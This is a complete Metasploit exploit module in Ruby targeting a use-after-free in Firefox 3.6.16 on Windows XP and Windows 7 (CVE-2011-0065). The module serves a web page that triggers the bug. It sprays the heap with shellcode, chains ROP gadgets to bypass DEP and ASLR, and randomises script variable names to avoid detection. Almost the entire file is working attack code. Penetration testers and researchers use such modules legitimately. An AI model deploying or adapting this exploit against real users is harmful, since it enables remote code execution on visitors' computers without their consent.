metasploit-framework/modules/exploits/windows/browser/mozilla_mchannel.rb

359 lines
12 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). This module uses heapspray
with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
a windows 7 target was provided using JAVA 6 and below to avoid aslr.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0', # metasploit module
'mr_me' # win7 target
],
'Version' => "$Revision$",
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
# DEP bypass
[
'Firefox 3.6.16 on Windows XP SP3',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x0c00,
'Fakefunc' => 0x0c00001c,
}
],
# requires JAVA <= JAVA 6 update 26
# cop stack pivot = ASLR/DEP bypass
[
'Firefox 3.6.16 on Windows 7 + Java',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x1000,
'Fakefunc' => 0x100002a4,
'Ppppr' => 0x7c3410c0,
'Retn' => 0x7c3410c4,
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
js_retns = rand_text_alpha(rand(10) + 5)
js_applet_name = rand_text_alpha(rand(10) + 5)
js_ppppr = rand_text_alpha(rand(10) + 5)
js_filler = rand_text_alpha(rand(10) + 5)
# Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[1]
elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[2]
end
end
# check for non vulnerable targets
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}") if datastore['VERBOSE']
send_not_found(cli)
return
end
# Re-generate the payload
return if ((p = regenerate_payload(cli).encoded) == nil)
if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/
html_trigger = ""
if ("/" == get_resource[-1,1])
html_trigger = get_resource[0, get_resource.length - 1]
else
html_trigger = get_resource
end
custom_js = <<-JS
function forward() {
window.location = window.location + "#{html_trigger}.html";
}
function start() {
setTimeout("forward()", 3500);
}
start();
JS
else
if my_target.name =~ /Windows XP/
# DEP bypass using xul.dll
rop_gadgets = [
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
junk, # junk --------------------------------------------------------------^^
0x7c801ad4, # VirtualProtect
junk, # junk -------------------------------------------------------------------------^^
junk, # junk -------------------------------------------------------------------------^^
0x1003876B, # jmp esp
0x0c000040, # start address
0x00000400, # size 1024
0x00000040, # Page EXECUTE_READ_WRITE
0x0c0c0c00, # old protection
].pack("V*")
rop = rop_gadgets
elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/
# 5 gadgets to pivot using call oriented programming (cop)
# these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
# 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
# 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
# 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
rop_pivot = [
0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
junk, # filler
0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
].pack("V*")
# 319
# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)
# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
rop_pivot << [0x6D7E5CDA].pack("V*")
# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)
# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
rop_pivot << [0x6D325BFC].pack("V*")
# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
rop_gadgets = [
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN
junk, # EBP (filler)
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # *&VirtualProtect()
0x7c3530ea, # MOV EAX,[EAX] / RETN
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
junk, # EDI (filler)
junk, # will be patched at runtime (VP), then picked up into ESI
junk, # EBX (filler)
0x7c376402, # POP EBP / RETN
0x7c345c30, # ptr to 'push esp / ret'
0x7c346c0a, # POP EAX / RETN
0xfffffdff, # size 0x00000201 -> ebx
0x7c351e05, # NEG EAX / RETN
0x7c354901, # POP EBX / RETN
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX / FPATAN / RETN
0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
0x7c34d201, # POP ECX / RETN
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI / RETN
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX / RETN
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX / RETN
0x7c346c0a, # POP EAX / RETN
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD / ADD AL,0EF / RETN
0x90909090, # NOPS (-> eax)
].pack("V*")
rop = rop_pivot + rop_gadgets
end
payload_buf = ''
payload_buf << rop
payload_buf << p
escaped_payload = Rex::Text.to_unescape(payload_buf)
# setup the fake memory references
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
if my_target.name =~ /Windows XP/
# fast loading JS so we dont get the 'unresponsive script' warning from ff
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
elsif my_target.name =~ /Windows 7/
# setup precision heap spray
ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))
# fast loading JS so we dont get the 'unresponsive script' warning from ff
# precision heap spray
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
var #{js_retns} = unescape("#{retns}");
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
var #{js_ppppr} = unescape("#{ppppr}");
#{js_ret_addr_name} += #{js_ppppr};
var #{js_filler} = unescape("%u4344%u4142");
while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_filler};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
end
end
html = <<-HTML
<html>
<body>
<object id="d"><object>
<applet code="#{js_applet_name}.class" width=0 height=0></applet>
<script type="text/javascript">
#{custom_js}
</script>
</body>
</html>
HTML
#Remove the extra tabs
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end